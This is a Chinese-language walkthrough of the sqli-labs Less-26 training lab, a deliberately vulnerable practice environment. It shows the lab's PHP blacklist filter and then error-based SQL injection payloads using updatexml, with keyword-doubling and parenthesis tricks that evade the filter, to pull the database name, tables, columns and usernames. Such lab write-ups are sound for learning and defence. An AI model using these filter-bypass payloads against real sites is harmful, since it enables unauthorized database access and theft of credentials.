当前位置：首页 > news >正文

sqli-labs：Less-26关卡详细解析

news 2025/8/4 11:04:16

1. 思路🚀

本关的SQL语句为：

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

注入类型：字符串型（单引号包裹）、GET操作
提示：参数需以'闭合
关键参数：id

php输出语句的部分代码：

if($row)
{echo "<font size='5' color= '#99FF00'>";	echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}
else 
{echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>";  
}

本关卡对许多字符都进行过滤，尤其是空格。我们需要对字符进行替换，同时采用报错盲注(空格相对少)，替换规则如下。

or：oorr
and：aandnd
空格：()包裹

function blacklist($id)
{$id= preg_replace('/or/i',"", $id);		 //strip out OR (non case sensitive)$id= preg_replace('/and/i',"", $id); 	 //Strip out AND (non case sensitive)$id= preg_replace('/[\/\*]/',"", $id);	 //strip out /*$id= preg_replace('/[--]/',"", $id);		 //Strip out --$id= preg_replace('/[#]/',"", $id);		 //Strip out #$id= preg_replace('/[\s]/',"", $id);		 //Strip out spaces$id= preg_replace('/[\/\\\\]/',"", $id);	 //Strip out slashesreturn $id;
}

在这里插入图片描述

2. 手工注入步骤🎯

我的地址栏是：http://localhost:8081/Less-26/，从?id=开始，只需要将下面的sql语句粘贴即可。我把正常的注入语句和变体的注入语句一并放在下面，方便对比。

2.1. 获取基本信息⚡

注意and，需要修改为aandnd

1' and updatexml(1,concat(1,database()),3) and '1

1'aandnd(updatexml(1,concat(1,database()),3))aandnd'1

在这里插入图片描述

2.2. 获取表名⚡

注意and，需要修改为aandnd，注意information_schema中的or，需要修改为infoorrmation_schema

1' and updatexml(1,concat(1,select group_concat(table_name) from information_schema.tables where table_schema = 'security'),3) and' 1

1'aandnd(updatexml(1,concat(1,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)= 'security')),3))aandnd'1

在这里插入图片描述

2.3. 获取字段⚡

注意and，需要修改为aandnd，注意information_schema中的or，需要修改为infoorrmation_schema

1' and updatexml(1,concat(1,select group_concat(column_name) from information_schema.columns where table_schema = 'security'and table_name='users'),3) and '1

1'aandnd(updatexml(1,concat(1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema)= 'security'aandnd(table_name)='users')),3))aandnd'1

在这里插入图片描述

2.4. 获取数据⚡

注意and，需要修改为aandnd，由于updatexml有字符长度限制，所以对username进行了分批
同理获取possword，注意password中的or，需要修改为passwoord

1' and updatexml(1,concat(1,select substring(group_concat(username),1,30) from users),3) and' 1

1'aandnd(updatexml(1,concat(1,(select(substring(group_concat(username),1,30))from(users))),3))aandnd'1

# 下一批
1'aandnd(updatexml(1,concat(1,(select(substring(group_concat(username),31,30))from(users))),3))aandnd'1

在这里插入图片描述

2.5. 参数汇总表⭐

参数	作用	示例
`'`	闭合符号	`id=1'`
`updatexml()`	报错注入函数	`updatexml(1,(select database()),3)`
`concat()`	字符串拼接函数	`concat('a','b')` 或 `concat(1,(select database()))`
`group_concat()`	合并结果	`group_concat(table_name)`
`information_schema`	系统数据库	`from information_schema.tables`
`table_schema`	数据库名称	`table_schema='security'`
`table_name`	数据表名称	`table_name='users'`
`column_name`	字段名称	`group_concat(column_name)`